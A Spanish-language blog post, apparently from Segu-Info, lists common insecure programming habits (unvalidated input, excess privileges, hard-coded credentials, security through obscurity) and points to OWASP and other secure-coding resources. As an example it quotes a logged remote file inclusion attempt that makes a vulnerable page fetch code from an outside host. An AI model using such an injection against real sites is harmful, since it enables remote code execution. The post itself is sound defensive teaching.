Programación segura

Luego de leer la ironía de "Cómo escribir código inseguro" [1] sería interesante conocer porqué sucede esto.

Durante mis años de desarrollador una de las cosas más interesantes e ilógicas que me ha tocado vivir es el compartir el trabajo con personas que dicen y creen programar porque escriben código en un lenguaje X de programación.
Esta no es una crítica a esas personas: es una crítica a todos nosotros los desarrolladores (todavía me sigo colocando en ese grupo).

El error es justamente ese: creer que escribir código es programar. En cambio las buenas prácticas de programación dejan muy alejados estos aspectos:

cualquiera puede escribir código pero eso no lo transforma en programador (y mucho menos en buen programador).
los programadores programan.
los buenos programadores programan código seguro.

Encontrar programadores que se puedan colocar en el último grupo no se sencillo e incluso, mirando algunos errores (de principiantes) en sistemas actuales, se podría decir que algunas empresas (las más importantes del mundo) deben carecer de ellos.

Sin entrar en detalles de tiempos (el gran enemigo del desarrollador), análisis de sistemas, ciclo de vida, modelos de maduración y de calidad del software, el objetivo del presente es dar a conocer algunos errores comunes a la hora de programar, el porqué de esos errores así como su solución, que a lo contrario de lo que se cree (creemos) generalmente son sencillos de solucionar.

Lo primero que se debe tener en cuenta al programar seguro (o al intentarlo) es ser paranoico: nunca se debe confiar en las entradas de los usuarios y las mismas se deben filtrar y validar.
Esto que puede parecer una tontería en realidad es sencillo de entender si se piensa que un usuario de un sistema no tiene porque ingresar algo correcto siempre ya que puede equivocarse (el famoso Upsss), puede tener mala intención al ingresar datos al sistema o quizás ni siquiera sea un humano (podría ser un robot, tan popular hoy en Internet).

Como subconjunto dentro de ese primer error existen los errores de inicialización y de validación de longitud de variables que permiten desbordamiento de buffers (Buffer Overflow) y la ejecución/inyección de código remoto o local.
Lamentablemente este es el error actual más común al desarrollar aplicaciones y el motivo por el cual existen infinidad de exploits para infinidad de aplicaciones (offline y online): al no validar las entradas, estas permiten ejecutar código o inyectar código.
En aplicaciones web, estos errores típicos llevan a vulnerabilidades del siguiente tipo:
Cross Site Scripting (XSS) [2]
SQL Injection [3]
Remote File Inclusion (RFI) [4]
Local File Inclusion (LFI) [5].

Por ejemplo este es un intento (de un robot) de ejecutar código dentro de Segu-Info: /admin/remository.php?path=http://XXX.37.71.117:8090/cmd.txt??
En estos casos es importante llevar a cabo alguno de los consejos disponibles en nuestra Cruzada Antifraude [6].

Otro error común de cualquier desarrollador (sobre todo en entornos Windows) es asumir que su aplicación debe ejecutarse con permisos elevados. Este error lo encontramos en la mayoría del software actual y también en aplicaciones del mismo sistema operativo. Cada aplicación debería ser desarrollada para ser utilizada con los permisos que necesita (ni más ni menos).

La validación de archivos que ingresan a la aplicación es otro punto crítico de cualquier desarrollo debido a que estos archivos pueden estar malformados (por cualquier motivo) y hacer fallar la aplicación o peor aún permitir ejecución de código, provocar Race Conditions [7] (procesos compitiendo por acceder a un recurso/variable/memoria/archivo), ingresar información dañina a una base de datos, etc.
Este error y el anterior incluso pueden llevar a obtener el control total del sistema operativo o aplicación que sirve de base al software ejecutado.

Otro elemento crítico son las transacciones [8] que son operaciones complejas formadas por un conjunto de operaciones simples. Por lógica si una de las operaciones menores falla toda la transacción debería ser abortada, pero lamentablemente solemos pensar que esto no es importante y por ende se generan inconsistencias de datos.
Un ejemplo sencillo es la compra de un producto compuesto por las siguiente acciones (sin considerar el orden):
grabar (en la base de datos) productos adquiridos
asociar esos productos al cliente
sumar al cliente el saldo de lo adquirido
descontar las cantidades del stock

Si por ejemplo la operación falla en el último punto, se produciría una inconsistencia en el stock del vendedor.

El desarrollo compartido es para otros. Lamentablemente solemos pensar que las funciones, procedimientos y librerías no deberían existir y cada cosa desarrollada debe ser desarrollada (de nuevo) por nosotros sin aprovechar lo que ya está (correctamente) escrito.

Relacionado al punto anterior el versionado (¿el qué?) no suele considerarse y en conclusión nadie sabe cual es la última versión de nada, lo que muchas veces lleva a la pérdida de cientos de líneas de código que habían sido desarrolladas en alguna versión pero se pisaron por un versión posterior.

Reinventar la rueda. Esto es lo sublime del ego de todo desarrollador. Pensamos que podemos desarrollar nuestro propio código para todo, por más que existan decenas de códigos ya desarrollados por expertos que solucionan el problema y de la forma óptima.
El ejemplo típico de esto es pensar que cualquiera de nosotros puede desarrollar un algoritmo criptográfico siempre y cuando "el mismo permanezca en secreto".
Lamentablemente cientos de empresas (las más importantes del mundo) siguen creyendo que la seguridad por oscuridad [9] es una buena idea.

Lamentablemente solemos pensar que los comentarios son el peor error de la naturaleza y por ende no se piensa en que otra persona deberán leer el código y entenderlo. Esto tiene que ver con la transparencia y usabilidad del código.

Relacionado a lo anterior es el "exceso de comentarios" y por ende dejar en el código el usuario y contraseña de ingreso a la aplicación. Ese es sólo un ejemplo pero lamentablemente el Hard Coding [10] (configurar variables de la aplicación directamente en el código fuente) es una práctica común.

Desconocer el lenguaje en el que se desarrolla y todas sus posibilidades, lo que obliga a escribir 10 líneas de código cuando sólo hubiera sido necesario una llamada a una función (segura) del lenguaje utilizado.

Los estándares son complicados de llevar a la práctica. Este comentario lo he escuchado durante años y el mejor ejemplo de ello son los millones de sitios webs que no cumplen los estándares y eso sin entrar en los protocolos de comunicación en donde cada empresa se ha tomado la libertad de hacer sus propias implementaciones con los resultados que todos conocemos: miles de dispositivos "hablando" un idioma distinto al resto.

"Lo que funciona no se toca". Este es uno de los principales mandamientos de cualquier programador y debe ser el motivo por el cual millones de líneas de códigos no se escriben de la forma adecuada y no se reparan millones de bugs.

Y por último: leer no es para programadores. Este error también es común en el ámbito y no se siguen las prácticas recomendadas por expertos en el mundo. Algunos de los proyectos internacionales que ayudan a desarrollar código seguro son:
Standard de Programación Segura (SPSMM) [11]
Open Web Application Security Project (OWASP) [12]
Secure Programming for Linux and Unix HOWTO [13]

Actualmente existen buenos libros que enseñan programación y los mismos pueden ser encontrados en nuestra sección de Libros.

Señores programadores (me incluyo), programar no es "tirar líneas de código". Programar es un arte o en palabras de Matt Mullenweg (autor de Wordpress) "el código es poesía", no le faltemos al respecto y seamos responsables del código que desarrollamos.

Fuente: SeguInfo

Comentarios

Entradas populares de este blog

Presuntos narcotraficantes liberados por un ransomware

Metasploit y Windows 10: Creando un payload indetectable (Evadiendo software antivirus)

Actualización de seguridad para VMWare Center